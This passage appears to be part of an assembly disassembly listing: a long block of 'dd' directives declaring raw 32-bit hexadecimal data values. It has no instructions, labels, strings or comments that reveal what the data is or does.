		dd 0D0804919h, 66557008h, 0C02F400h, 86C422h, 0A51885ABh
		dd 210360A3h, 0C44CFF4Dh, 84C0381Ch, 50AFC665h,	495C846Ah
		dd 0B917747Fh, 63504008h, 4B9BE001h, 53181B00h,	806DE978h
		dd 314600A7h, 0C511735Ch, 3A1D0371h, 0A011651h,	0E06689E2h
		dd 370860h, 649A4FD4h, 0E34DE4C6h, 9B026C90h, 0B1FD4A1Bh
		dd 0BAB441D5h, 0F100B027h, 91B0EE24h, 0BDE930ADh, 10CC8A1h
		dd 0BB1AF377h, 4424E602h, 98617169h, 0A18C8E0h,	0EEFE709h
		dd 0D450C010h, 4CAB65A6h, 78001039h, 7CB09CCh, 0F518BC86h
		dd 76183326h, 0E0AF7A29h, 0A6BE02B1h, 3519E849h, 6F896CC8h
		dd 64CFFE06h, 91A3CEh, 273F66Dh, 0FF6E53F0h, 7ACADD03h
		dd 0E8F1E611h, 0A5BF41Eh, 227E13B9h, 79DC50C0h,	6C050CB0h
		dd 95A6987Bh, 0F5804CC4h, 3826EB34h, 5F076A48h,	32F2F671h
		dd 0F88272DDh, 18A2B9AFh, 3096D0CFh, 98EAC20h, 0E34B0C63h
		dd 0EBBBC020h, 13001DA8h, 0B1FB8BBEh, 2F006ABh,	0D3C5AD9Bh
		dd 0D080E47Eh, 6D7C1CA2h, 45FAE109h, 0D270832Ch, 3849F029h
		dd 28E87CAAh, 90C2D35h,	0B0F64262h, 0E3711448h,	986C102Ch
		dd 0CEF01130h, 0A8115C49h, 5034FA03h, 0FDB0E9F7h, 9E3E517Eh
		dd 1AE306DEh, 0E6B83748h, 76E7FAD7h, 165FC62h, 5FC65A30h
		dd 2044469Ah, 590570F0h, 0AA456C8Eh, 51CCD803h,	72110181h
		dd 0A0ADB2B7h, 9F81892Eh, 809E0978h, 12E7D4A8h,	0FC13500Ch
		dd 93171CCCh, 9A2F0BF1h, 341AB820h, 657CD7D2h, 0D122BD1Fh
		dd 0ACE17602h, 81FC62B9h, 6B4C5A94h, 0A0D1BC24h, 3E3F6C4h
		dd 0DCAA9B1Fh, 14A39AB7h, 221C211Dh, 0C91D5480h, 1E2839AEh
		dd 0A84D83FAh, 0E2E70988h, 18000136h, 1A33F964h, 100ADB31h
		dd 6028CEh, 5460B84h
		dd 5C27E3B4h, 0D76D1092h, 4F2EF060h, 0F43E9566h, 1F2180F5h
		dd 0C3106E48h, 0C25A1401h, 418D041h, 0C76C21E2h, 52294709h
		dd 8A1E00ABh, 3E8DCB5h,	0DFE323E1h, 4AF9B79Ah, 7138984Dh
		dd 4CEDF1C9h, 220094A1h, 615BF3B2h, 0CE50DF9Bh,	911B1DE0h
		dd 2318FDA9h, 8B007EB0h, 4860C86Dh, 0AA778651h,	5F3C80h
		dd 0B7C7F6Dh, 7432A46Fh, 37398C01h, 0DB8EB970h,	0F41AEC40h
		dd 0B4E66Ch, 4F466A0Ah,	2CBA05D0h, 56CAC902h, 0FE0DD9D7h
		dd 0FF43003Fh, 82939B9Fh, 4DA77F00h, 808CFCB0h,	7A25008Fh
		dd 54554BD4h, 53009149h, 0BFAD5CDFh, 0F8B112E5h, 1EB60004h
		dd 78A5141Dh, 0E0153DDh, 640C9B41h, 29B8C6A8h, 8A2206A2h
		dd 447A22B3h, 50C32622h, 0A113284Dh, 508C614h, 0C089C844h
		dd 11408651h, 470078B8h, 0EBC56E0Ah, 0F5B8E2Ah,	58AEF0C0h
		dd 5C0C87E0h, 65009ACFh, 24495FAh, 68191Ah, 0A51349Dh
		dd 0BCEF2EC2h, 15B9E48h, 83801DE5h, 0C3D14625h,	0EE88260h
		dd 0BF381322h, 5DAAE1E0h, 0AD005316h, 6BFFA56Fh, 3EDDCC2Eh
		dd 0EF00478Ch, 0F26C801Bh, 3807C742h, 63120FA0h, 2CB14B0h
		dd 92A80090h, 5A1C6236h, 8D01B6B4h, 0A4C55B3Dh,	9BE06753h
		dd 0D41907B7h, 43DF5A8Ch, 0C0C82F78h, 817A10D3h, 0D6EA0A01h
		dd 18418B13h, 801CCCh, 0C33D534Eh, 5D54D789h, 398E48h
		dd 7EA64213h, 0E4903698h, 0E83C00C8h, 0C314661Ah, 4A001F11h
		dd 8C2AC663h, 5442B36Ah, 391F8DFh, 0F6689DD3h, 0C800C014h
		dd 0A786ADE1h, 8F220Fh,	0DADB23CEh, 0CCF68C5Fh,	1BE8A400h
		dd 15711086h, 1C975C2h,	0F79C8140h, 0C0D146BBh,	0E00FC0Fh
		dd 0BE73128Bh, 25397F9Bh, 0CAD4E004h, 968A7900h, 0CD0743h
		dd 378B5264h, 122FEBD9h, 0B3468600h, 0AC45D8E0h, 0FFCB3A71h
		dd 6144BC00h, 5A78DCA1h, 2C156F00h, 8C839673h, 11520309h
		dd 0CF8E6D0Bh, 94AC1FE8h, 0E3F72000h, 5C453305h, 55900Ch
		dd 79CA43EAh, 636F90Dh,	0CD442100h, 0E023C85Dh,	88BC5058h
		dd 8D53009Fh, 0A346ABC9h, 5A01B57Dh, 0ED59E41h,	32ECA4DEh
		dd 9B4F00FBh, 0E4AFD01Dh, 0A812E1FCh, 0C03BCFFh, 0CAA1C33Ah
		dd 0EEA8E0BFh, 69AD00ACh, 4C2A0EABh, 0DD00D416h, 92980DE0h
		dd 0BFFF1Fh, 3B175695h,	0CE4FE5A7h, 39EE700h, 23F39FC4h
		dd 335904F0h, 801C1693h, 0A9E57F2Ch, 0F43ED514h, 609D00C4h
		dd 0B00613DDh, 53425865h, 7F73CA1Fh, 0BD5899B0h, 0D201F9A7h
		dd 46ADA30h, 0F8C78F41h, 15BD0BEh, 7A85BA29h, 303E7C49h
		dd 0B0002BBh, 260D8E2Ch, 7CD93C03h, 6C5F0077h, 6A8B90B1h
		dd 0E1007B98h, 0F3A97A43h, 975141Eh, 3FB3A717h,	0C8C62C18h
		dd 0D8001DF2h, 92854EF3h, 0FA2FF5A3h, 609FE03Dh, 0F884C0FBh
		dd 1A3F45BCh, 0ADDA0058h, 907D9720h, 4BE73892h,	4D8B7207h
		dd 3A80C0A6h, 83BB879h,	0E86900A8h, 0C60EB7FEh,	0A6DC001Ch
		dd 65951967h, 2C7FCE0Ah, 5514A975h, 3EC0CDCBh, 433F13DDh
		dd 17897201h, 0E270D0C4h, 24D8028Ch, 8685CED6h,	0FF0A5A40h
		dd 50261003h, 0B82B9061h, 0F7789C7h, 3428BD8Ah,	0E3C69640h
		dd 0EE00BE3Dh, 0DB86463Ch, 35798A5h, 7E1F0952h,	0C383D9C7h
		dd 2053C9E9h, 0CD000FF0h, 0E4D2D825h, 0EB1174h,	84B099FDh
		dd 0B12605A2h, 969C6700h, 771ABDA0h, 83B6004Eh,	245F5940h
		dd 7C00F87Ah, 132E0574h, 78FE98h, 0D8A7E0ABh, 0E5B96E34h
		dd 8A0B6F00h, 98315B7Dh, 2F401F20h, 1754031Fh, 0B7A0832Dh
		dd 6B00EBC1h, 82E60EB0h, 0A6D96Ah, 8EF9A5DCh, 28F2B54Bh
		dd 4D16600h, 0BD1AAB84h, 82949855h, 0B17480F4h,	0B4FD40h
		dd 0D1EE8296h, 2003719Eh, 0D0BDBA00h, 801A61B9h, 0A50A0052h
		dd 0B385DF6Ch, 16006877h, 41C0FB5Ch, 0B071963Bh, 0D98C071Ah
		dd 0AEBE8A95h, 0E9B81F60h, 93E66BF1h, 0DB09DA0Ch, 0A821D8h
		dd 71553BB6h, 768FC7EFh, 0EAE1BF00h, 0BD90C203h, 2FD8287Eh
		dd 36CF4BAh, 0B4F8E26h,	0AACB27CDh, 87771B80h, 1306BE00h
		dd 70BAB322h, 53D0043h,	0BB46FDDDh, 8900865Dh, 26BD3373h
		dd 1AE652h, 0DC9AD6F3h,	674238D4h, 0CEA6D800h, 706DDE0Ch
		dd 7FA20015h, 0C3D2B4FAh, 0E6E223C5h, 0AADA9B03h, 98AB9858h
		dd 336A26h, 210EA155h, 0AC07B823h, 0BB994B00h, 0A77131F8h
		dd 0F5810132h, 0F2166386h, 0CBA020E5h, 0BAE4290Bh, 47042360h
		dd 0BC4A86Eh, 2B7000E0h, 7EF2CF4Bh, 20C0ACA6h, 15399388h
		dd 2673018Dh, 0D895272Ch, 0A26EFC4Ch, 0E70ECDE2h, 7CE3A7B9h
		dd 0DFAB3E00h, 509CDAA6h, 0A3E93Ch, 0B89B04CAh,	5091C911h
		dd 89E37A00h, 0FF98C199h, 0D98B033Ah, 0E04252ABh, 86948590h
		dd 0EA890900h, 796D3992h, 0B4A4A0E6h, 333A0010h, 0D1F68DE7h
		dd 0D3072DA8h, 8F8CB5A5h, 34491D0h, 6DE3D09h, 0C6006A3Dh
		dd 9ABD6E81h, 5F01A7D9h, 73C5433Ah, 6AC0E8D8h, 773E1463h
		dd 7E8CE6h, 305B6545h, 0BF720E69h, 122E9F00h, 2DCBA461h
		dd 8B27007Dh, 0AEEB1650h, 0AA004EA9h, 0FCEE0638h, 4C8D216Bh
		dd 22001854h, 0DC270F3h, 4805B9F2h, 91199780h, 0E8A9C080h
		dd 40EEED03h, 243947Ch,	184DC37Ch, 1BE0352Ah, 0E3052E61h
		dd 91BB59EFh, 0B3AE99C0h, 0AF24006Ch, 6695D3C7h, 414C356Dh
		dd 3BDC002Ah, 0ABBCE353h, 997E04h, 49054292h, 347F11B3h
		dd 58D52812h, 1A03A0FCh, 0F9A1E28Dh, 61E04798h,	0F1590100h
		dd 0B609799Ch, 1C290318h, 0F8CAC2D5h, 2C6688D8h, 36A3400h
		dd 2FDDFE26h, 0E2D828D4h, 158C0798h, 0B2CBA744h, 8460703Ch
		dd 69008F5Eh, 7191658Dh, 78779F94h, 0EE171FE2h,	645E839Dh
		dd 47C0435Ah, 0BE28F7D4h, 4800BC53h, 0A3FD7891h, 5FDE1Bh
		dd 0C8BCE0AEh, 29DD93CCh, 18174B30h, 350BAF8h, 0F2860E5Dh
		dd 4803207Dh, 3F798289h, 171126B1h, 60E103F8h, 3DA8C088h
		dd 5930692Ah, 2C5EB8E0h, 758F00C8h, 14A5824Fh, 5098A254h
		dd 683EF401h, 45EF950h,	0F524320h, 0C2FE51DFh, 0E004F20Eh
		dd 7CEAC095h, 170226B9h, 0F611B6AAh, 0CBF480C4h, 2530BD7Dh
		dd 8EC082B7h, 9D006F16h, 0B39CC1DAh, 0E423BFh, 75B808A6h
		dd 2EB46140h, 47E10700h, 15664AB7h, 0C751077Dh,	0C0C47365h
		dd 96C6A0D5h, 87D0CA3Ah, 0FDD8C1E4h, 821BC580h,	4AD313E6h
		dd 0BE050370h, 0FA9B5F84h, 80F036A8h, 35518300h, 6249416Fh
		dd 2CC23CD8h, 336BF587h, 3878F07Bh, 0E300AEB1h,	0CB474955h
		dd 0F3BA669h, 0F0D9160Bh, 0AF8C6B80h, 1D76A9ACh, 0DB677216h
		dd 1822C00Bh, 61EBCh, 6EC7D426h, 69DA1499h, 0EAD8A803h
		dd 0F92162A5h, 0FFD43175h, 3F7700B7h, 6943194Fh, 0C8A9CC08h
		dd 3C2420B3h, 0EAA8FD16h, 63FEDC00h, 24A1D1F3h,	72C950Ah
		dd 51A3E42Ch, 0FC105845h, 2B07E8BFh, 69DC044h, 12F15740h
		dd 529830C9h, 5BF0C20h,	54033A78h, 25B79A5Dh, 0CD8800C8h
		dd 847B6F47h, 0AA0F4C19h, 782BF4A1h, 72DFD8h, 0CAD6A552h
		dd 0A8371FA9h, 8B3E0400h, 993B185Bh, 0B9A105E6h, 0D05E7CE9h
		dd 0EE973324h, 24CA0D00h, 0A5B2A3Eh, 1CF10099h,	0C5660687h
		dd 430349F0h, 94B372FFh, 0AD3AE86Bh, 1D649815h,	0C0D49EF3h
		dd 5FDC81FBh, 9F00EF77h, 0C5F5A020h, 7398751h, 0DA032F52h
		dd 0D0E2A086h, 18000B67h, 16A1A656h, 3AF05277h,	0AE803ADFh
		dd 6F66919Fh, 0D0C042ADh, 0F4219CBBh, 0F17B2Fh,	0F9476EDh
		dd 0B26EA08Dh, 0A789D4FBh, 32297201h, 0C90B1D8Fh, 0EB31A02Fh
		dd 8C1C4Ch, 69316F8Ch
		dd 171A841Eh, 0E37855h,	0B504E00Ch, 1C00F4D7h, 14BD2548h
		dd 68FE3Bh, 793CC05Bh, 0A3228FBBh, 0E56A990Fh, 0D19AC1E2h
		dd 42CCD61h, 199813h, 0ED47F748h, 44003717h, 0E5B0F265h
		dd 509FF14Ch, 7F4A660h,	0F3B5206Fh, 0F2B100C2h,	0D407928Eh
		dd 0E7BD2B0Dh, 16578800h, 8F030380h, 5D262F8Ah,	5F4720A7h
		dd 49601BDBh, 4CB3CD11h, 490C3h, 297C652Ch, 390A717Ah
		dd 0FFC99E02h, 61F6CD47h, 0A8306FCDh, 0D4ED0050h, 6C6946F4h
		dd 270361E3h, 1303F172h, 5325B0C7h, 0A04F4CA5h,	0E0E4E987h
		dd 0EE1A2410h, 88957000h, 9B122D5Eh, 0F87500E7h, 0F43622A6h
		dd 0F0E52E37h, 861F07F5h, 0A9C7FCC8h, 7FE05C92h, 394A1h
		dd 2F99229Ah, 0FA7A46F3h, 81BB2601h, 0CD0488ADh, 9D8CF0h
		dd 0F6C94782h, 18B75E89h, 85D5F31Eh, 0D805F74Fh, 42007BCh
		dd 6F776BA8h, 5C7480CAh, 131EAB9Ah, 0B81CC4FDh,	919E2A41h
		dd 0E4706042h, 991B0097h, 366F7FBh, 0C0B8D12Ch,	2482F400h
		dd 167036D8h, 0D5FA0FB8h, 6500512Fh, 4D4A91A9h,	7FAC5D00h
		dd 2A8A0C0Ah, 69A70099h, 0A99CC560h, 0DB0019AAh, 0C35AE116h
		dd 73563DCh, 0FAFFD032h, 0DF54F024h, 0CE4E4CD4h, 0CFE21430h
		dd 11B000B8h, 89911F03h, 0A401F433h, 5F5243A8h,	9DF0E7B7h
		dd 98B9308Ch, 6F46801Ch, 1B396A00h, 0E5B50A85h,	4AE600AFh
		dd 99DF5E01h, 47708DA4h, 750041B8h, 0C0222AA8h,	751A56Fh
		dd 996654Eh, 56E960D6h,	0AE00588Fh, 9964B4BCh, 0FCD4235h
		dd 1846044Ah, 45C06700h, 71FC0C3Fh, 600EF103h, 0C8526AD9h
		dd 7A6D655Eh, 0D16120Ah, 4DA7E0B8h, 8634CA05h, 0BCC042BCh
		dd 0B84E7480h, 0EC2B0034h, 0E15F46AFh, 683DEE61h, 74E600F7h
		dd 0CBE0F0DAh, 27051D5Dh, 0E4DE94E2h, 295B5700h, 0C9AFA5F1h
		dd 2C27F00h, 0B4631FEAh, 99D20045h, 5DB862BBh, 0C0B0D8DBh
		dd 0B50F8500h, 4F74B177h, 0CB4B0052h, 0CF5937F3h, 0F1FC84EAh
		dd 0D20EB600h, 0E6297E6Dh, 20880082h, 0FFDC497h, 0FF0009DEh
		dd 0B769953Fh, 1CB8CE0h, 0CDE806F0h, 30D4F8F3h,	0A22441E0h
		dd 2B01648Bh, 43EC7534h, 40A81474h, 593EE3ADh, 0D09877A6h
		dd 66266E07h, 0D320D1D5h, 60F88511h, 0BEDA58C5h, 0D61283B4h
		dd 0DC00CDEEh, 6985F656h, 0D0B824B6h, 4139004Ch, 7F57EE6Dh
		dd 6263441Eh, 205956CBh, 0C467D714h, 4D6D00F3h,	3CF67E71h
		dd 6B16BCB8h, 684454A1h, 4500995Bh, 7F46198Ah, 0A5A39h
		dd 61183607h, 1885B9A3h, 0E0E9CFF2h, 26286D8Dh,	0C500D99Bh
		dd 4CC7F9B5h, 7312B3C8h, 3EE30011h, 3376EEEBh, 80B8F05Dh
		dd 0FAF8C360h, 0E25740B5h, 0DCA03EADh, 0EE1AF818h, 0F10E7A30h
		dd 0CF348B94h, 7888006Bh, 1D7F77h, 86120343h, 0EB51B4B0h
		dd 731AA500h, 9BACE628h, 0B68948ABh, 950BBE00h,	0AEBF0A57h
		dd 0B550CB00h, 9A06CCB4h, 88910034h, 0BD79A899h, 8C00746Eh
		dd 0FFA92D97h, 48D59D33h, 610530B9h, 405153F3h,	23C4E78Ch
		dd 5F023641h, 63528FBFh, 0A748605Ah, 0F1C1675h,	0A4BB0F72h
		dd 0AD280941h, 6EC5C02Ah, 5F9A6300h, 3B9F4E0h, 0FFC0FF4Bh
		dd 0F2AC2427h, 15F42730h, 58C0D013h, 0E0F8898Ah, 0B3F90081h
		dd 93929174h, 9516584Dh, 0B4007EB7h, 0E63F2A19h, 4024B49Ah
		dd 0B87343AAh, 68B82798h, 1D01BB7Dh, 67234480h,	0E80EFD9h
		dd 0F44EF7C5h, 560FEDB0h, 8BB1A3FCh, 6BC8002h, 4F5D7AFh
		dd 115FDE1Ah, 78D8820Eh, 3003CC40h, 0E32A5600h,	97B60F05h
		dd 0A5B702BFh, 263B5417h, 0D132CA60h, 0B0274E00h, 75A3DED0h
		dd 0FEAA26E2h, 9ABC00FAh, 6CA857C3h, 72639607h,	8D40496Ah
		dd 0A8364271h, 0A06E45A4h, 1B5BFE1h, 0B2D92E19h, 0D09A5E0Eh
		dd 68014404h, 25D632D4h, 547471AEh, 0C9080h, 0AF03BB87h
		dd 75F0F26Ch, 0CF9BF2Eh, 0FC8E5018h, 0F63B7031h, 2E37620h
		dd 3358B6D7h, 4FE0C390h, 410167D8h, 0F0AA5B92h,	69FCCD07h
		dd 5E860339h, 0B1CEF713h, 2E1DCCC0h, 66000892h,	0DD6E5007h
		dd 5F7CA9h, 0B157F645h,	0AC095BD5h, 4FD15E18h, 30CCD4A0h
		dd 0FA392DA3h, 7001B014h, 1CAFB6B2h, 1880A94Dh,	0C3B14EB4h
		dd 83001EF5h, 669E33EBh, 82CEDDh, 0B5CD20A8h, 0F6E61A8Bh
		dd 0D4EC4C00h, 0DD155439h, 394F0CBh, 6BB13E21h,	0DE9306B9h
		dd 0B8A58B88h, 0AFDC5E0Ch, 7E4B8858h, 0C124336Fh, 7CB81D21h
		dd 7F1D5550h, 9101BD3Dh, 570B5EFFh, 0A6D0318Eh,	4903B4B5h
		dd 8FD5B776h, 3DD23802h, 82EDCF67h, 80066310h, 0A845921Ch
		dd 5BB10087h, 94A3A0Eh,	8A00DA93h, 0E44BC718h, 2F1F06h
		dd 78AFED96h, 4487E5DDh, 6C16F500h, 38DFDE37h, 362300A9h
		dd 6966BF2Fh, 0CD0E27B2h, 0E0D5D44Eh, 0CF139C55h, 0D173078Ah
		dd 0A1E220h, 0EFB2050Dh, 0FA537700h, 87911763h,	7E6E05B5h
		dd 83CCB3B6h, 0E68057A3h, 0B8187426h, 8A305A64h, 0BAEB00AEh
		dd 4A0B79F6h, 3F3C22ECh, 246E006Ch, 0D3DFBFCh, 5591FAAh
		dd 0A631004Dh, 52B9C266h, 0F111E600h, 8F69C004h, 5BF80591h
		dd 14C0539h, 7827D18Ch,	0C1DDD038h, 0D3513528h,	9C884C98h
		dd 0D20F771h, 8EB8187Ah, 33A218D5h, 8DD33B00h, 0C45B04Ch
		dd 0CAD62E36h, 1817023Eh, 5E3E887h, 661D3900h, 4DAAB680h
		dd 98C30C49h, 0D78003DEh, 54A35819h, 0A4FBF868h, 569E8B00h
		dd 0B601A2CDh, 30731B8Fh, 90785491h, 5912F418h,	530DAAF0h
		dd 0D4E1F839h, 7E4CE6E0h, 4A701C2h, 90FCB82Fh, 0E5742446h
		dd 284FC90Eh, 331A8756h, 73BA65C1h, 3B799BF7h, 2CC0E5E1h
		dd 0CE44EF00h, 7AE012C6h, 4E5B008Dh, 0A22A5E85h, 70907FE2h
		dd 0AE01DB0Eh, 0A19118F4h, 0A05E008Dh, 0A70320ECh, 4F00D599h
		dd 0B8DF83C3h, 0FED7B5h, 86C0CDDDh, 2FD2648Fh, 44106200h
		dd 0C9EBD502h, 0F92D0049h, 67F57BDDh, 0AB0F47B8h, 0E7045BF4h
		dd 0CAD3D9ACh, 0B32FC070h, 0F1A30B69h, 0B3014455h, 0DC98F461h
		dd 6B0019E3h, 0C74166DEh, 319AB62Eh, 0D928F74Bh, 0D8830050h
		dd 891200E3h, 3978B704h, 45009C1Ah, 4C24EE26h, 3D2D3132h
		dd 3583F777h, 4109848Ah, 1EBD90A0h, 0AB7C4900h,	0C89176B1h
		dd 5CE7E23Fh, 6B03A621h, 9C87856Fh, 947BA3B0h, 3795FE00h
		dd 9B407AE4h, 0F05879DAh, 8D1F000Dh, 2515858Ch,	0D690D181h
		dd 0EEBE8200h, 0F64EE810h, 0D275875h, 0F3D09B2Dh, 2000676h
		dd 711DA230h, 383F7F50h, 648790FDh, 0C0FC5DDCh,	8E7D7040h
		dd 0E6E14402h, 8F33C79Bh, 440FFA0h, 4D5FA499h, 70C20017h
		dd 0F3A24916h, 0C5392032h, 0C6930029h, 6F91522Ch, 18A0009Ah
		dd 2392BB41h, 8B50FF3Ch, 9F00D4DAh, 0C144B7C0h,	60096D68h
		dd 0ACC1096h, 7B00F76Eh, 5FD8ADB1h, 0B0BDB5C8h,	2FD10108h
		dd 100CF8FEh, 63B7C060h, 20F3F00h, 0BF3D6F3Eh, 741907E9h
		dd 801CA420h, 5AF2BCE4h, 0CCDB4C16h, 43475600h,	0DD2EC3h
		dd 5BB0F506h, 75AD1F27h, 0ABA52600h, 5A9188BFh,	1D17E62h
		dd 571DBE55h, 0DC6813D0h, 83007928h, 815F2C7Fh,	2E71DE8Bh
		dd 0B8F1AFh, 0EA28A0CAh, 47FD2083h, 0D22C00D8h,	4100267Bh
		dd 6AB2DE42h, 73CB4B61h, 5C1A3A63h, 9A700C84h, 5603EBB1h
		dd 80B222D2h, 4C48BE3h,	62490B87h, 6A009079h, 2C015835h
		dd 8B9E5605h, 22EC0975h, 0BF9804h, 0F4F97B4Bh, 1EFCEF18h
		dd 0ED00EBFAh, 2CB5A5F0h, 30A243h, 338948DEh, 1451EF6Eh
		dd 644AD00h, 0FBE6A901h, 3EE209F6h, 8580DD4Eh, 63337E1Bh
		dd 7FC4FF00h, 0E044256h
		dd 0B7C1EC8h, 574440B8h, 0E137BFC9h, 97FFD9C0h,	0C0910572h
		dd 0B619DEB1h, 31011529h, 146224CAh, 24212E9Ah,	0FC95C0CEh
		dd 0A840F30Ch, 0C19860h, 4F9B06C0h, 69F0D592h, 8013783Fh
		dd 8FED6779h, 0FC2BBEh,	4A212456h, 0AD9EB120h, 4145F603h
		dd 8039AB98h, 0FC8F670Fh, 71D3F0CFh, 2BE10018h,	4C7DC892h
		dd 6E0041CEh, 4B817B61h, 0F830BFD7h, 79E0CDh, 0AA649ABEh
		dd 0FA64117h, 0C3C2216h, 26D800EEh, 0BFB68167h,	80288713h
		dd 582F2400h, 89F5B0h, 2771485Dh, 2004BCA1h, 9E73E600h
		dd 56762DC4h, 800917Eh,	2700B75Eh, 0F7EAF150h, 17A901C2h
		dd 0F5C1EC38h, 0CA16E432h, 0B42D5600h, 1FBC9970h, 3F9F0093h
		dd 7B199040h, 0DC0FCFDAh, 408616C9h, 0AA3BB765h, 41F7180Dh
		dd 421398A4h, 2E0035E4h, 3EAF012Fh, 0B2A0DCh, 2B464D65h
		dd 0ADD71948h, 0CE278800h, 7FDE0BC7h, 745400D0h, 0C64614D9h
		dd 1900BEE8h, 8EA9B375h, 7F2252h, 0D132569h, 6D8BAFA1h
		dd 5C88EB00h, 3B567AD1h, 76F70020h, 90FF6007h, 7300B308h
		dd 0F579D5Fh, 63CA37h, 2C6605FAh, 0FE445929h, 0E038E06Fh
		dd 9E01284Dh, 0E9C8F164h, 94D5027Ah, 6B5C66D7h,	0D8B6B482h
		dd 0C0D0A641h, 32702E11h, 24E70C0Ch, 0FD09E0h, 0D3529553h
		dd 2D93318Ch, 74DEEE00h, 13A77C6Fh, 8E920B62h, 1F874930h
		dd 4ABA1068h, 9000B61Bh, 0E8945ADCh, 4B26F3h, 48BFDB0Ch
		dd 9B8B5CBBh, 0F875901h, 6CC85883h, 0CCCCFE71h,	0FEFF857h
		dd 0F71E2BC5h, 25F29260h, 690037C8h, 82AE40BBh,	3B7916h
		dd 0D68D9D7Eh, 7CF791DCh, 6900217Ah, 66C4E663h,	9B1301h
		dd 19A618C6h, 0CC50792Dh, 7282A402h, 0C03C1B3Bh, 0A974D2h
		dd 0CADC4DFEh, 0E235DD1h, 30206B61h, 0A0209F42h, 0AFF40715h
		dd 1017B040h, 589AB862h, 0D53F3A00h, 77F1DB81h,	0C9040931h
		dd 805F7A18h, 1B5D2153h, 79A8EAB4h, 8260041h, 77E06EFAh
		dd 0CE1D784Bh, 0D8641D2Bh, 6431C613h, 9700708Eh, 751DFFD5h
		dd 7402B59Ah, 0F51FB901h, 0F3AD94C0h, 55DF9316h, 80CADD0Eh
		dd 0C0C9E34Dh, 11CB60A2h, 6C043EF3h, 9A841B00h,	21E927E0h
		dd 8E6007Ch, 884989ECh,	8D3011C5h, 53EA349Eh, 18E3049Bh
		dd 0C0BAAB2Ch, 0CF898CF3h, 244151C0h, 1F6BC231h, 0CFDA176Eh
		dd 3B09E61Fh, 6F778822h, 0D402842h, 420012F8h, 57942981h
		dd 7FCE4AEEh, 0A52B00CCh, 0A94B44BCh, 60079B24h, 908315B0h
		dd 0B7BD6590h, 0C2F300BAh, 1A78C5D1h, 2503E4DFh, 83A9E253h
		dd 0F4610322h, 0B0FA51E0h, 80001076h, 20D413FBh, 4CB60F7Dh
		dd 0D60084C0h, 0A101770h, 2F7860FEh, 40055800h,	0E92AB5F3h
		dd 0E48F0084h, 395F7579h, 1A0E4C7Bh, 0FD50F45Bh, 4F2E6940h
		dd 1E951BBh, 85759FD8h,	0F853AC68h, 5E309C2Dh, 0C1CB5071h
		dd 5699C270h, 84E8328Ch, 9E006136h, 50D03C60h, 16BF8h
		dd 7B9C0EC8h, 0F7307A9Dh, 0B474C1C3h, 4D01F05Ch, 0EA4705A5h
		dd 4EB5A945h, 6B0BBD2Ch, 8D628880h, 9A071BCFh, 8936A6A7h
		dd 0FA1A0E43h, 0C09D8034h, 0A48613h, 0D3C61057h, 303CB3B4h
		dd 48364B00h, 464A05CBh, 0DFE35C1Ah, 6C4E1C0Fh,	0A00E83A0h
		dd 0F5E624D2h, 9C4C6B00h, 0BDF931A3h, 2EE400F2h, 0EC36BFA8h
		dd 14003CADh, 0E1ED5466h, 0E49D6713h, 0B7070115h, 0BE48DC68h
		dd 32B030EBh, 0ABAFCD0Fh, 0B31521CCh, 0C02ED996h, 940FAC10h
		dd 0F1BC7112h, 9AC50C80h, 66403060h, 3BD854F1h,	0F69DB600h
		dd 0A6E5F74Bh, 678DE84Eh, 10A2205Fh, 8FE3443Bh,	1C184C03h
		dd 0E0E876F2h, 0A0D149B3h, 600190E2h, 0CDCB50B1h, 88E6AE31h
		dd 2EFC021Fh, 81FB9639h, 5AEE3440h, 0BAA731h, 9BF36FF6h
		dd 0F92712F2h, 49B44B02h, 807FE220h, 83D767E6h,	51F402A5h
		dd 720D2548h, 61FB4848h, 0DBCAA900h, 0E066A17Bh, 609774EBh
		dd 64A5216Eh, 1600D0A9h, 0D21433D8h, 86FA7Ch, 21A08E39h
		dd 6254DEE0h, 5B316560h, 64EE9AFh, 1FAE415Ch, 5546D9B4h
		dd 0ED31CA05h, 48EC84D3h, 9580D26Ch, 0D74C3058h, 0D06C0355h
		dd 6AA02D76h, 0EDF0F3FBh, 65036BCFh, 11519915h,	4F790033h
		dd 7DA83012h, 5D0E4689h, 8C4741B6h, 30A21A1h, 290F300Bh
		dd 6D9B894Ah, 207AAA98h, 0BE77D100h, 0FB4BC49h,	80AD001Ah
		dd 7F6F4E94h, 29F0090Bh, 61E9FE00h, 0CA274C1Bh,	82ED0028h
		dd 0C197A102h, 0C300E62Eh, 0BCFE99DCh, 450A92h,	0A75D41C5h
		dd 0E6BA7F8Dh, 8072843Dh, 0EE748213h, 48188EFh,	3FA863C9h
		dd 1B2380B3h, 34004509h, 781CAE86h, 0E57D94h, 0A44FA7C7h
		dd 5E764C4Dh, 521DD01h,	4602839Eh, 5B350F0h, 544B4807h
		dd 52A580EBh, 65004508h, 0E651725Ah, 336CD3E7h,	1508D044h
		dd 470E6900h, 484E216Fh, 0A16E0195h, 379DFD93h,	58B90Dh
		dd 32022A66h, 0DA4FA95Eh, 860D990h, 2E30A849h, 5628111Eh
		dd 0D28C0125h, 958FBAC4h, 6090C0A2h, 85201D60h,	1E525CDh
		dd 0F6B5B36Bh, 0FCAAFB15h, 2A013654h, 5F47BA76h, 0C6FC07B1h
		dd 0C5C0C0FEh, 9C637F31h, 4CB72901h, 41F3D261h,	0C50007D1h
		dd 0DA0636D4h, 1E50FC01h, 77BE668h, 750D56C7h, 99BDC3FBh
		dd 0D65D03E0h, 6411D00h, 45FF10F5h, 54520AA4h, 60980729h
		dd 0DF5B7258h, 91C55721h, 879C0116h, 4C24BF58h,	60BD01F4h
		dd 0D841803h, 8F056B12h, 5789985h, 97A475C0h, 48DE051Ch
		dd 403284C0h, 9E08DBE8h, 0FCEADCEDh, 1A1D3Bh, 0EE133FABh
		dd 4785Dh, 8DF3FAA3h, 2454F663h, 1F6D3A1Dh, 381CA400h
		dd 1CB1996Fh, 80B583EAh, 4D13A1BBh, 45803ACh, 523E8Fh
		dd 193BEBC9h, 0A92D84h,	60343025h, 0FE1D0ECEh, 0EF9B7C00h
		dd 0CF83855Bh, 937049h,	0EE758946h, 0B64E48FAh,	0A09FD303h
		dd 0D80327C5h, 1CD4020h, 0A2CEC8D0h, 0D8BFA45Ch, 601DD48h
		dd 0ACB36972h, 8160E826h, 0F101033Dh, 2C52C3FAh, 2A4F8FE0h
		dd 136D5913h, 3F1F1B01h, 94C8648Ah, 60931284h, 1DEE01A9h
		dd 80F9E93Ah, 7707AC18h, 0F8E6485h, 0FAEB4D9Bh,	0BDD51660h
		dd 6D76C210h, 13097E00h, 0F77D34E6h, 0A7DE00A0h, 0D8537FF0h
